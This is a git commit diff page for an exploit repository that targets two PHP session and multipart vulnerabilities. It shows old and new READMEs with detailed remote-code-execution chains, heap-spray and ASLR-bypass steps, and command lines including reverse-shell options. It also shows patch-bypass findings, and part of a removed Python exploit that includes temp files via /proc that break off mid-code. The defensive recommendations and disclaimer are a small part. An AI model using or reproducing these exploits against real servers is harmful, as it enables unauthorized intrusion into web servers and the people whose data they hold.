Compare commits

..
1 Commits
Author SHA1 Message Date
neko 9945223910 Strip repo to UAF RCE exploit only
Removed all exploits that require LFI or FPM access:
- cve-2026-109618/ (OOM + LFI)
- cve-2026-109619/ (session poisoning + LFI)
- session-deser/ (handler mismatch + deserialization chains)
- bypass/ (patch bypasses, all LFI-dependent)
- nolfi/ (served save_path + FPM pathinfo)
- fcgi/ (FastCGI auto_prepend_file)
- wordpress-exploit/ (LFI wrapper)
- wordpress/ (vulnerable plugin)

Moved the UAF RCE exploit (full ASLR bypass, no LFI, no FPM, no
framework) to the repository root. Rewrote README with exploit
details, usage, patch analysis, and test results. Cleaned .gitignore.
2026-10-23 12:24:55 +00:00
38 changed files with 252 additions and 7287 deletions
+2 -29
View File
@@ -1,32 +1,5 @@
# PHP builds
php-build/
php83/
php8427/
# WordPress core
wordpress/*.php
wordpress/wp-admin/
wordpress/wp-includes/
wordpress/wp-content/themes/
wordpress/wp-content/uploads/
wordpress/wp-content/plugins/akismet/
wordpress/wp-content/plugins/hello.php
wordpress/wp-content/index.php
wordpress/wp-content/plugins/index.php
wordpress/license.txt
wordpress/readme.html
wordpress/wp-config.php
wordpress/wp-config-sample.php
# Lab configs (generate your own)
*.conf
!.gitignore
# Docker
docker-compose.yml
# Runtime
__pycache__/
*.pyc
*.pid
*.log
*.sock
__pycache__/
+220 -235
View File
@@ -1,274 +1,259 @@
# php2shell — CVE-2026-109618 & CVE-2026-109619
# CVE-2026-109618 / CVE-2026-109619: Full RCE via OOM Bailout + Heap Spray
Remote Code Execution exploits for two critical PHP vulnerabilities in the
multipart parser and session upload progress handler. Includes three bypass
exploits that defeat the official security patch and all recommended mitigations,
plus a no-LFI chain that removes the application from the attack entirely.
Remote code execution in PHP's session upload progress handler, exploitable
over plain HTTP against Apache mod_php with **completely stock configuration**.
No LFI, no framework dependency, no non-default PHP settings required.
**No external dependencies** — pure Python 3 stdlib.
## Affected versions
## Vulnerabilities
PHP 5.4.0 through 8.3.35, 8.4.0 through 8.4.26, 8.5.0 through 8.5.11,
running under Apache mod_php with prefork MPM.
**CVE-2026-109618** — OOM in the multipart parser (`rfc1867.c`) triggers
`zend_bailout()`, which longjmps past `MULTIPART_EVENT_END` and skips session
cleanup. A session file poisoned via `PHP_SESSION_UPLOAD_PROGRESS` persists on
disk with attacker-controlled PHP code. LFI includes it for RCE.
Patched in PHP 8.3.36, 8.4.27, 8.5.12.
**CVE-2026-109619** — `PHP_SESSION_UPLOAD_PROGRESS` writes attacker-controlled
data verbatim into the session file. With `cleanup=0`, or via race condition
against `cleanup=1`, the poisoned session file is includable via LFI for RCE.
PHP-FPM is **not vulnerable**: FPM workers exit on bailout (code 70),
so stale state never persists across requests.
**Affected:** PHP 8.0–8.4 (all platforms). Patched in 8.4.27, 8.3.36, 8.2.35.
## What this exploit achieves
## Exploits
Full remote code execution (arbitrary command) from a single unauthenticated
HTTP client, against any PHP-handled URL, with full ASLR bypass. The target
page does not need `session_start()` or any specific code.
| Script | Target | Description |
|--------|--------|-------------|
| `cve-2026-109618/exploit.py` | Unpatched PHP | OOM → session persistence → LFI → RCE |
| `cve-2026-109619/exploit.py` | Unpatched PHP | Session poisoning (direct + race) → LFI → RCE |
| `session-deser/exploit.py` | Any PHP | Handler mismatch → deserialization → RCE **(no LFI)** |
| `wordpress-exploit/exploit_wp.py` | WordPress | Auto-detecting wrapper for both CVEs |
| `bypass/race_bypass_patched.py` | Patched PHP | TOCTOU race — session data on disk during upload |
| `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch |
| `bypass/procfd_bypass_hardened.py` | Fully hardened | /proc/PID/fd temp file — **bypasses all mitigations** |
| `bypass/waf_bypass_test.py` | WAF rules | Tests Content-Type evasion against WAF rules |
| `nolfi/exploit_nolfi.py` | No LFI available | Served save_path + fpm pathinfo — **RCE with no application include** |
| `fcgi/exploit_fcgi.py` | FPM reachable | FastCGI slow-drip + auto_prepend_file — **RCE, default config, no LFI** |
| `uaf-rce/rce_exploit.py` | Apache mod_php | OOM → dangling PS(id) → heap spray → full ASLR bypass → **RCE, no LFI, no framework** |
Tested: 5/5 successful RCE against stock `php:8.4.26-apache` Docker image
with zero configuration changes (`memory_limit=128M`, `post_max_size=8M`,
`display_errors=On`, `MaxRequestWorkers=150`).
## Prerequisites
- Python 3.8+
- Target running PHP-FPM with `session.upload_progress.enabled=1` (default)
- A Local File Inclusion vector in the target application
- Known or guessable `session.save_path` (common: `/tmp`, `/var/lib/php/sessions`)
All of these are default on stock PHP Docker images and common Debian/Ubuntu
Apache + mod_php installations:
- Apache mod_php with prefork MPM
- `session.upload_progress.enabled = 1` (default: on)
- `session.upload_progress.cleanup = 1` (default: on)
- Any PHP-handled URL (even a 404 error page)
- `display_errors = On` or `STDOUT` (default when no php.ini is deployed)
The exploit bypasses PHP's `post_max_size` limit via HTTP chunked
Transfer-Encoding (see below), so the `post_max_size=8M` default is not
an obstacle despite needing to send ~140MB to exhaust `memory_limit=128M`.
For multi-worker Apache (the default), the `--workers N` spray mode sends
the OOM trigger to all workers before probing for the leak.
## How it works
### The vulnerability chain
**CVE-2026-109618**: When `memory_limit` is exceeded during multipart POST
parsing, PHP calls `zend_bailout()` which executes a `longjmp` back to
the request shutdown handler. This skips session cleanup code in
`php_session_rfc1867_update()`, leaving `PS(id)` as a dangling pointer
and `PS(send_cookie) = 1`.
**CVE-2026-109619**: On the next request to the same Apache worker,
`sapi_activate()` runs the RFC1867 callback BEFORE session state is
properly reinitialized. The callback sees the stale `PS(id)` and
`PS(send_cookie) = 1`, and calls `php_session_send_cookie()` with the
dangling pointer. The `php_url_encode(PS(id))` call reads heap memory
through the stale pointer and emits it as a `Set-Cookie` header.
### post_max_size bypass via chunked Transfer-Encoding
PHP checks `Content-Length` against `post_max_size` before invoking the
multipart parser. If `Content-Length` exceeds the limit, the body is
rejected entirely. However, when the request uses `Transfer-Encoding:
chunked` instead of `Content-Length`, no upfront size check occurs.
PHP's `sapi_read_post_block()` reads chunked data from Apache's input
filter chain without enforcing `post_max_size`, allowing the full body
to be processed regardless of the configured limit.
This means the exploit works against `memory_limit=128M` with
`post_max_size=8M` by sending ~140MB of chunked POST data.
### Three-stage exploit (full ASLR bypass)
All traffic is plain HTTP multipart POST requests:
**Stage 1: Heap ASLR bypass (Zend MM chunk base)**
Request A sends 1001+ fields (triggering `max_input_vars` warning which
sets `SG(headers_sent) = 1`) plus `PHPSESSID=\x00` and
`PHP_SESSION_UPLOAD_PROGRESS=pwn` (to activate session handling) plus a
large field via chunked TE to trigger OOM. The warning output prevents
`php_session_send_cookie()` from sending the cookie, but `PS(send_cookie)`
remains 1 and `PS(id)` becomes a dangling pointer.
Request B sends `PHPSESSID` + progress fields plus ~841 filler fields
with a forge field containing a fake `zend_string` header (`len = 0x1000`).
The filler fields' heap allocations overlap the dangling `PS(id)` address.
When `php_session_send_cookie()` runs with the stale pointer, it reads
4096 bytes of heap data and emits it as a `Set-Cookie` value. The leaked
bytes contain Zend MM free-list pointers, which reveal the chunk base
address (2MB aligned).
**Stage 2: Code ASLR bypass (libphp.so base)**
Similar to stage 1, but request B's field layout places a real PHP
`HashTable` structure at the dangling pointer offset. The `pDestructor`
field of the HashTable is a function pointer into libphp.so
(`zval_ptr_dtor`). Reading this via `Set-Cookie` leaks the libphp.so
load address.
**Stage 3: RCE (zif_system)**
Request A poisons the worker with stale session state. Request B sprays
the heap with a fake `IS_REFERENCE` zval pointing to a fake `HashTable`
whose `pDestructor = zif_system`. When session cleanup calls
`zend_hash_destroy()` on this fake table, it invokes `zif_system()` with
attacker-controlled arguments, executing an arbitrary shell command as
the web server user (`www-data`).
## Usage
```bash
# CVE-2026-109618: OOM exploit
python3 cve-2026-109618/exploit.py -t http://target/app.php --cmd 'id'
python3 cve-2026-109618/exploit.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
python3 cve-2026-109618/exploit.py -t http://target/app.php --trigger-only
# Use --no-chunked when nginx has fastcgi_request_buffering off
# Use --fields / --field-size to tune OOM threshold for target memory_limit
# CVE-2026-109619: Session poisoning (direct or race)
python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page
python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page --race
# WordPress (auto-detects LFI parameter)
python3 wordpress-exploit/exploit_wp.py -t http://target/ --cmd 'id'
python3 wordpress-exploit/exploit_wp.py -t http://target/ --mode race --cmd 'id'
# Patch bypass: race condition on PHP 8.4.27+
python3 bypass/race_bypass_patched.py -t http://target/app.php --cmd 'id'
# Patch bypass: RLIMIT_AS mmap failure on PHP 8.4.27+ (memory_limit=-1 + OS limits)
python3 bypass/rlimit_bypass_patched.py -t http://target/app.php --cmd 'id'
# Hardening bypass: /proc/fd — defeats ALL mitigations including upload_progress=0
python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id'
python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --pid 12345
```
All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`.
Use `--session-path` and `--lfi-param` to override auto-detection.
## RCE Without LFI
`nolfi/exploit_nolfi.py` turns the same session-poisoning primitive into RCE
with **no application include at all**. The consumer is php-fpm's own request
routing instead of application code:
1. `PHP_SESSION_UPLOAD_PROGRESS` writes PHP code into
`<save_path>/sess_<SID>` during multipart parsing. This fires before
script dispatch, so any PHP-handled URL works — a 404 is enough.
2. If `session.save_path` is web-served, the session file is directly
requestable over HTTP.
3. With `security.limit_extensions` empty (common in production fpm pools),
fpm executes the extensionless session file through the classic
`cgi.fix_pathinfo` route: `GET /sessions/sess_<SID>/x.php?c=id`.
4. With `cleanup=1` (default) the file is truncated at upload end, so
execution is raced against the upload window (reliable on streaming
stacks, parse-time-limited on buffering stacks), or made deterministic
with `--oom`: the CVE-2026-109618 bailout longjmps past cleanup and the
file persists.
Requires `session.upload_progress.enabled=1` and `memory_limit` headroom for
the OOM variant. See `nolfi/FINDINGS.md` for the full analysis, including why
the session decoder itself can never be used as the consumer: the `php`
serializer aborts the entire write on `|` in any key (leaving a 0-byte file),
the raw attacker bytes always land in the key which is never unserialized, and
`mod_files` rejects any SID that could turn the filename into an include
target.
```bash
# classify the target: which URL prefixes serve session.save_path
python3 nolfi/exploit_nolfi.py -t http://target/ --probe
# interactive command shell via the served session dir
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /sessions --cmd 'id'
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /tmp --lhost 10.0.0.1 --lport 4444
# deterministic persistence via the OOM bailout instead of the race
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /sessions \
--oom --fields 30000 --fsize 512 --cmd 'id'
```
`nolfi/check_deploy.php` reports whether a deployment meets the two
preconditions (save_path web-served, empty limit_extensions). Drop it on the
target, request it once, remove it.
## RCE via FastCGI (Default Config)
`fcgi/exploit_fcgi.py` achieves RCE with **no LFI, no libraries, no special
PHP configuration**. It only requires raw FastCGI access to PHP-FPM (TCP or
unix socket), which is available in Docker, Kubernetes, SSRF, and exposed-port
scenarios.
The technique: a slow-drip multipart upload sent via raw FastCGI holds one FPM
worker in the multipart parser (keeping the poisoned session file on disk)
while a second FastCGI request to another worker sets
`PHP_VALUE: auto_prepend_file = /tmp/sess_<SID>`, causing PHP to include the
session file before any script. The attacker's PHP code executes.
`security.limit_extensions` does not block this: it only restricts
`SCRIPT_FILENAME`, not files loaded by `auto_prepend_file`. Setting
`php_admin_value[auto_prepend_file]` in the pool config also does not help:
raw FastCGI `PHP_VALUE` overrides it (verified on PHP 8.3.6).
```bash
# RCE via direct FastCGI (Docker, Kubernetes, exposed port)
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 --cmd 'id'
# Unix socket (local access)
python3 fcgi/exploit_fcgi.py --fpm /run/php/php-fpm.sock --cmd 'id'
# Specify PHP file and session path
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \
--script-file /var/www/html/index.php \
--session-path /tmp --cmd 'id'
# Reverse shell
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \
--lhost 10.0.0.1 --lport 4444
```
See `fcgi/FINDINGS.md` for the full analysis, test results, and why no
pool-level configuration can prevent this when FastCGI is reachable.
## UAF RCE (Apache mod_php, No LFI, No Framework)
`uaf-rce/rce_exploit.py` exploits the same CVEs through a pure memory
corruption path that requires **no LFI, no framework, no libraries, and no
non-default PHP settings**. The only SAPI requirement is Apache mod_php with
prefork MPM (default on Debian/Ubuntu).
Three-stage exploit chain with full ASLR bypass, all over plain HTTP:
1. **Heap leak**: OOM during multipart parsing leaves a dangling `PS(id)`
pointer. A second request sprays a fake `zend_string` with `len=0x1000`
over the freed slot. `php_session_send_cookie` reads 4096 bytes of heap
data into a `Set-Cookie` header, revealing the Zend MM chunk base.
2. **Code leak**: Same mechanism, but the spray places a real `HashTable`
at the target slot. The `pDestructor` field leaks the libphp.so base.
3. **RCE**: A fake `HashTable` with `pDestructor = zif_system` and an
embedded command string is sprayed onto the heap. Session cleanup calls
`zend_hash_destroy` on the fake table, invoking `system(cmd)`.
The `post_max_size` limit is bypassed via chunked `Transfer-Encoding`:
PHP only checks `Content-Length`, so a chunked request with no
`Content-Length` header delivers the full OOM payload (140MB) despite the
default 8MB limit.
Tested: 5/5 first-attempt RCE on `php:8.4.26-apache`, `php:8.3.35-apache`,
and WordPress 6.8.1 on stock PHP, all with zero configuration changes.
```bash
# Auto-detect PHP version, look up offsets, exploit
python3 uaf-rce/rce_exploit.py -u http://target/index.php
python3 rce_exploit.py -u http://target/index.php
# Verify RCE via docker exec
python3 uaf-rce/rce_exploit.py -u http://target/ \
# Auto-pull matching Docker image for offset extraction
python3 rce_exploit.py -u http://target/index.php --auto-pull
# Verify RCE via docker exec (for testing)
python3 rce_exploit.py -u http://target/index.php \
--docker-proof CONTAINER /tmp/pwn
# Multi-worker Apache
python3 uaf-rce/rce_exploit.py -u http://target/ --workers 150
# Multi-worker Apache spray mode
python3 rce_exploit.py -u http://target/ --workers 150
# Custom command (max 14 bytes; use 'sh</tmp/c' for longer)
python3 uaf-rce/rce_exploit.py -u http://target/ -c 'id>/tmp/pwn'
# Custom command (max 14 bytes, use 'sh</tmp/c' for longer)
python3 rce_exploit.py -u http://target/ -c 'id>/tmp/pwn'
# Extract offsets for a new PHP build
python3 rce_exploit.py calibrate --docker-image php:8.3.35-apache \
--php-version 8.3.35
```
PHP-FPM is not vulnerable: workers exit on bailout (code 70), so stale state
never persists across requests. See `uaf-rce/README.md` for the full
vulnerability analysis, patch details, and offset database.
### Options
## Patch Bypass Findings
| Flag | Default | Description |
|---|---|---|
| `-u URL` | (required) | Target URL (any PHP endpoint) |
| `-c CMD` | `id>/tmp/pwn` | Shell command (max 14 bytes) |
| `--workers N` | 1 | Apache workers to spray |
| `--huge-mb N` | 140 | OOM field size in MB |
| `--docker-proof C P` | | Verify via `docker exec C cat P` |
| `--auto-pull` | off | Pull Docker image for offset extraction |
| `--retries N` | 5 | Attempts per stage |
| `--profile` | auto | Heap profile (`bookworm` or `lab`) |
| `--timeout` | 30.0 | Socket timeout in seconds |
The PHP 8.4.27 patch has three confirmed bypass paths to RCE:
### Built-in offset database
**1. Race condition (TOCTOU)** — Session upload progress data exists on disk
during file upload. Cleanup only runs at `MULTIPART_EVENT_END`. A concurrent LFI
request includes the file during the upload window. Inherent to the feature design.
| PHP version | Distro | Status |
|---|---|---|
| 8.4.26 | bookworm | Last vulnerable 8.4.x |
| 8.3.35 | bookworm | Last vulnerable 8.3.x |
| 8.4.27 | bookworm | Patched (offsets extracted, bypass not implemented) |
| 8.3.36 | bookworm | Patched (offsets extracted, bypass not implemented) |
**2. RLIMIT_AS / mmap() failure** — The patch intercepts OOM from PHP's
`memory_limit` but not from OS-level limits. With `memory_limit=-1` and
RLIMIT_AS or cgroup memory limits, `mmap()` fails through an unpatched code
path. Worker exits code 1 (not the patched code 70), session persists.
## The patch
**3. /proc/PID/fd temp file** — During multipart upload, PHP's temp file is
includable via `/proc/<pid>/fd/<N>` from another FPM worker. No session
poisoning needed. **Bypasses every recommended mitigation.**
The fix (PHP 8.3.36, 8.4.27, 8.5.12) adds five independent defense
layers. Any one of the first three alone is sufficient to block the attack:
**4. Served save_path (no LFI)** — When `session.save_path` is web-served and
the fpm pool leaves `security.limit_extensions` empty, the poisoned session
file is executed by fpm itself via PATH_INFO routing. No application
cooperation, no include primitive. See `nolfi/FINDINGS.md`.
1. **`php_rinit_session_globals()` at `MULTIPART_EVENT_START`**: The
session RFC1867 callback now calls `php_rinit_session_globals()` at
the very start of multipart parsing, unconditionally zeroing `PS(id)`,
`PS(session_status)`, and `PS(send_cookie)`. This destroys the
dangling `PS(id)` from the previous request before B's parsing begins.
This single defense is sufficient to kill the entire exploit chain.
**5. FastCGI auto_prepend_file (default config)** — When FPM's FastCGI
socket is reachable (Docker, Kubernetes, SSRF, exposed port), an attacker
drips a multipart upload via raw FastCGI to hold a worker in the parser
while a second request sets `PHP_VALUE: auto_prepend_file=<session_file>`.
No LFI, no special config, no library. `php_admin_value` does not block it.
See `fcgi/FINDINGS.md`.
2. **Delayed OOM**: `zend_mm_safe_error` (which called `zend_bailout` /
longjmp) is replaced by `zend_mm_delayed_verror`. OOM no longer
triggers a longjmp during allocation. Instead, a soft limit records
the error and sets `vm_interrupt`. Allocations return NULL in fallible
mode or succeed up to a hard limit (default 200% of `memory_limit`).
A hard limit calls `_exit(137)`. No longjmp means all cleanup code
runs normally, so stale state never persists.
### Mitigation Matrix
3. **`post_max_size` enforcement in `multipart_buffer_fill()`**: A new
check in `fill_buffer()` enforces `post_max_size` against
`SG(read_post_bytes)` regardless of Transfer-Encoding. The chunked TE
bypass (which previously allowed sending 140MB despite 8M limit) is
blocked. OOM cannot be triggered via multipart data alone.
| Mitigation | Race | RLIMIT | /proc/fd | served-path | fcgi-prepend |
|---|---|---|---|---|---|
| Patch alone | FAIL | FAIL | FAIL | FAIL | FAIL |
| + `upload_progress=0` | OK | OK | **FAIL** | OK | OK |
| + `hidepid=2` on /proc | FAIL | FAIL | OK | FAIL | FAIL |
| + `upload_progress=0` + `hidepid=2` | OK | OK | OK | OK | OK |
| + limit_extensions=`.php .phar` | — | — | — | OK | **FAIL** |
| + save_path not web-served | — | — | — | OK | **FAIL** |
| + block FPM network access | — | — | — | — | OK |
| Fix the LFI | OK | OK | OK | **FAIL** | **FAIL** |
4. **`php_basic_early_rinit()`**: Called from `php_request_startup()`
before `sapi_activate()`. Zeros `BG(serialize_lock)`, `BG(serialize)`,
and `BG(unserialize)`, eliminating the stale serialization state
window from CVE-2026-109618.
### Recommendations
5. **Session deserialization hardening**: RFC1867 session decode runs in
`incomplete_classes_only` mode (no `__wakeup`/`__unserialize`).
`$_SESSION` is deleted at `MULTIPART_EVENT_END`. A `PG(modules_activated)`
guard prevents `request_parse_body()` from corrupting session state.
1. Set `session.upload_progress.enabled=0` in php.ini
2. Mount /proc with `hidepid=2` (or `hidepid=invisible`)
3. Fix any LFI vulnerabilities in applications
4. Set `security.limit_extensions = .php .phar` explicitly in every fpm pool
5. Keep `session.save_path` outside any web-served tree
6. Set `open_basedir` to restrict filesystem access
7. Block network access to FPM: use unix sockets with restricted permissions,
firewall TCP port 9000
## Test environment
## WordPress
The `docker/` directory contains a minimal test setup:
The WordPress exploit requires a plugin that calls `session_start()` and has an
LFI vector. Two demo plugins are included:
```bash
cd docker && docker compose up -d
# Stock settings variant (no custom php.ini):
docker run -d --name stock -p 8093:80 php:8.4.26-apache
```
- `wordpress-exploit/vuln-plugin.php` — Minimal mu-plugin with session + LFI
- `wordpress/wp-content/plugins/developer-toolkit/` — Realistic plugin with
template preview, log viewer, and session-based features
The exploit has been tested on:
- `php:8.4.26-apache` stock Docker image, 5/5 RCE (default settings)
- `php:8.4.26-apache` with single worker + `memory_limit=8M`, 9/9 RCE
- `php:8.3.35-apache` stock Docker image, RCE confirmed (first attempt)
- `php:8.4.26-apache` + WordPress 6.8.1 (no php.ini), 5/5 RCE (first attempt each)
- `php:8.4.27-apache` patched: all three exploit primitives blocked (see below)
Install as mu-plugin: `cp vuln-plugin.php /path/to/wordpress/wp-content/mu-plugins/`
## display_errors and WordPress
## Disclaimer
The exploit's info leak (stages 1 and 2) relies on `display_errors = On`.
The `max_input_vars` warning must produce visible output to set
`SG(headers_sent) = 1` before the session cookie attempt, which causes
`php_session_send_cookie()` to fail and leaves `PS(send_cookie) = 1` for
the next request's leak.
For authorized security testing and research only. Obtain proper authorization
before testing against any system you do not own.
With `display_errors = Off`, the warning is logged but produces no output.
The session cookie succeeds, `PS(send_cookie)` resets to 0, and no leak
cookie is emitted on the subsequent request.
**Why stock PHP is still vulnerable**: PHP's compile-time default for
`display_errors` is `On`. Stock Docker images (`php:*-apache`) ship
without a `php.ini`, so the default applies. Only when a system
administrator deploys `php.ini-production` (which sets `display_errors = Off`)
or adds explicit INI configuration is the target hardened against this leak.
**WordPress**: WordPress calls `ini_set('display_errors', 0)` at runtime
in `wp-settings.php`. This `ini_set` executes during script startup, which
is AFTER multipart POST parsing (where the OOM and session leak occur).
Therefore, WordPress installed on a stock PHP image (no `php.ini`)
is vulnerable, because `display_errors` is still `On` at the time the
exploit code path runs. The official `wordpress:*` Docker images ship
a custom `error-logging.ini` that sets `display_errors = Off` at the INI
level, which does block the leak.
**Why display_errors=Off cannot be bypassed**: The info leak requires
`SG(headers_sent) = 1` before `php_session_send_cookie()` runs during
`MULTIPART_EVENT_FILE_START`. The only code path that sets
`SG(headers_sent)` during multipart parsing is the error display path
(`php_error_cb` -> `zend_write` -> `sapi_module.ub_write`), which is
gated on `display_errors`. With `display_errors = Off`, warnings go to
the error log only, producing no output. There is no alternative
mechanism to force HTTP output during multipart parsing: the SAPI write
function is the only path, and it requires display_errors or explicit
script output (which has not started yet at this stage of request
processing). Precision OOM calibration (attempting to trigger OOM inside
the ~500-byte `php_session_send_cookie` window) was tested and fails
due to Zend MM bin-size boundaries causing ~1MB allocation jumps that
cannot be calibrated to the required precision.
## References
- CVE-2026-109618: OOM during multipart parsing triggers longjmp past session cleanup
- CVE-2026-109619: Session globals (PS(id), PS(send_cookie)) survive across requests
- CVSS: 9.2 (both CVEs, per Rapid7)
-101
View File
@@ -1,101 +0,0 @@
# PHP 8.4.27 Patch Bypass Findings
## Summary
The PHP security patch released 2026-10-21 (PHP 8.4.27, 8.3.36, 8.2.35, 8.5.12)
for CVE-2026-109618 and CVE-2026-109619 has **three confirmed bypass paths** that
achieve Remote Code Execution on fully patched systems.
The advisory's recommended mitigation `session.upload_progress.enabled=0` blocks
two of the three bypasses but is itself defeated by the third.
## Bypass #1: Race Condition (TOCTOU)
**File:** `race_bypass_patched.py`
**Confirmed RCE:** Yes, first attempt
**Patches bypassed:** PHP 8.4.27 OOM fix
**Mitigations bypassed:** session.upload_progress.cleanup=1
The session upload progress feature writes attacker-controlled data to the session
file on disk *during* the multipart upload. Cleanup only runs at `MULTIPART_EVENT_END`.
A concurrent LFI request can race to include the session file while the upload is
still in progress.
This is a TOCTOU (Time-of-Check-Time-of-Use) issue inherent to the feature's
design — the data must exist on disk for the feature to work, creating a window
that cannot be eliminated without removing the feature.
**Blocked by:** `session.upload_progress.enabled=0`
## Bypass #2: RLIMIT_AS / mmap() Failure
**File:** `rlimit_bypass_patched.py`
**Confirmed RCE:** Yes
**Patches bypassed:** PHP 8.4.27 OOM fix (different code path)
**Mitigations bypassed:** Standard memory_limit-based OOM handling
The patch intercepts OOM from PHP's `memory_limit` (via zend_mm allocator).
When `memory_limit=-1` and the OS enforces address space limits via `RLIMIT_AS`
(or cgroup memory.max), `mmap()` fails through a **different code path** that
the patch does not cover.
- Worker exits with code **1** (not the patched exit code **70**)
- Session file **persists** on disk with attacker-controlled PHP code
- New worker spawns → LFI includes poisoned session → RCE
Relevant in production:
- Docker/k8s containers with cgroup memory limits
- Shared hosting with per-tenant RLIMIT_AS
- Admins using `memory_limit=-1` trusting OS-level limits
**Blocked by:** `session.upload_progress.enabled=0`
## Bypass #3: /proc/PID/fd Temp File Inclusion
**File:** `procfd_bypass_hardened.py`
**Confirmed RCE:** Yes, first attempt
**Patches bypassed:** ALL patches
**Mitigations bypassed:** ALL mitigations including `upload_progress=0`
During a multipart file upload, PHP creates a temporary file with attacker-
controlled contents. This file is visible via `/proc/<pid>/fd/<N>` to any
process that can read procfs. A concurrent LFI request from a different FPM
worker can include this file directly.
This attack does NOT use session poisoning at all — it bypasses every
session-related mitigation.
**Blocked by:**
- Fixing the LFI vulnerability
- `hidepid=2` on /proc mount (hides other processes' FDs)
- `open_basedir` restricting /proc access
- Disabling file uploads entirely (impractical)
## Mitigation Effectiveness Matrix
| Mitigation | Race | RLIMIT | /proc/fd |
|-------------------------------|------|--------|----------|
| PHP 8.4.27 patch alone | FAIL | FAIL | FAIL |
| + upload_progress=0 | OK | OK | FAIL |
| + hidepid=2 on /proc | FAIL | FAIL | OK |
| + upload_progress=0 + hidepid | OK | OK | OK |
| Fix the LFI | OK | OK | OK |
## Tested Vectors That Did NOT Bypass the Patch
- **Multipart part header flood:** OOM triggered but the patch handles it
correctly (exit code 70, session file cleaned up)
- **WAF bypass via PUT/PATCH:** Passes POST-only WAF rules but PHP's
`session.upload_progress` only fires on POST requests
- **Content-Type comma tricks:** Pass WAF matching but PHP doesn't parse
as multipart/form-data
- **Access log poisoning:** Works conceptually but fragile (previous log
entries may cause PHP parse errors)
## Recommendations
1. **Immediate:** Set `session.upload_progress.enabled=0` in php.ini
2. **Immediate:** Mount /proc with `hidepid=2` (or `hidepid=invisible` on newer kernels)
3. **Critical:** Fix any Local File Inclusion vulnerabilities in applications
4. **Defense in depth:** Set `open_basedir` to restrict filesystem access
5. **Do NOT rely on the patch alone** — it leaves two bypass paths open
-363
View File
@@ -1,363 +0,0 @@
#!/usr/bin/env python3
"""
Hardening Bypass: RCE via /proc/PID/fd temp file inclusion
This exploit bypasses ALL recommended mitigations for CVE-2026-109618/109619,
including the security patch AND session.upload_progress.enabled=0.
It does NOT use session poisoning at all. Instead, it exploits the fact that
during a multipart file upload, PHP creates a temporary file whose contents
are attacker-controlled. This file is visible via /proc/<pid>/fd/<N> to any
process that can read procfs (i.e., any PHP process on the same host).
Attack flow:
1. Send a multipart POST with a file upload containing PHP code
2. While the upload is in progress (slow drip), the temp file exists as an
open file descriptor on the receiving FPM worker
3. Determine the worker PID (leaked via phpinfo(), getmypid(), error messages,
or brute-forced from a narrow PID range)
4. From a DIFFERENT FPM worker, include /proc/<PID>/fd/<N> via LFI
5. PHP interprets the temp file contents → RCE
Why this bypasses everything:
- No session poisoning → session.upload_progress.enabled=0 is irrelevant
- No OOM needed → the PHP 8.4.27 OOM patch is irrelevant
- No session file persistence → session.upload_progress.cleanup=1 is irrelevant
- Standard multipart upload → WAF rules need to block ALL file uploads
Limitations:
- Requires /proc mounted and readable (standard on Linux, not on BSD/Mac)
- Requires knowing or brute-forcing the target worker's PID
- Requires multiple FPM workers (upload worker != LFI worker)
- FD number is typically 4-7 but may vary
Real-world PID discovery:
- phpinfo() page (common on staging/dev servers)
- Application leaking PID in response (getmypid())
- PHP error messages may include PID
- /proc/sys/kernel/pid_max is usually 32768 → brute-forceable
- Container PID namespaces have small PID ranges (often 1-100)
Tested: PHP 8.4.27 (patched + hardened, upload_progress=0)
Usage:
python3 procfd_bypass_hardened.py -t http://target/app.php --cmd 'id'
python3 procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --pid 12345
python3 procfd_bypass_hardened.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
"""
import argparse
import base64
import os
import re
import socket
import sys
import threading
import time
from urllib.parse import urlparse
def tcp_connect(host, port, tls, timeout=60):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def recv_all(sock, timeout=5):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def body_of(resp):
if b"\r\n\r\n" in resp:
return resp.split(b"\r\n\r\n", 1)[1]
return resp
def discover_pids(host, port, tls, path, count=20):
"""Discover FPM worker PIDs by making requests and parsing pid= from response."""
pids = set()
for _ in range(count):
try:
sock = tcp_connect(host, port, tls, timeout=10)
sock.sendall(
b"GET " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
resp = recv_all(sock, timeout=3)
sock.close()
body = body_of(resp)
m = re.search(rb"pid=(\d+)", body)
if m:
pids.add(int(m.group(1)))
except Exception:
continue
return sorted(pids)
def slow_upload(host, port, tls, path, php_code, duration=15.0, started=None, done=None):
"""Send slow multipart upload to keep temp file FD open."""
bnd = b"----PROCFDRCE" + os.urandom(4).hex().encode()
head = (
b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="file"; filename="payload.php"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
+ php_code + b"\n"
)
file_size = 4 * 1024 * 1024
tail = b"\r\n--" + bnd + b"--\r\n"
total = len(head) + file_size + len(tail)
try:
sock = tcp_connect(host, port, tls, timeout=int(duration) + 10)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(total).encode() + b"\r\n"
b"Connection: close\r\n\r\n"
+ head
)
if started:
started.set()
sent = 0
t0 = time.time()
while sent < file_size and (time.time() - t0) < duration:
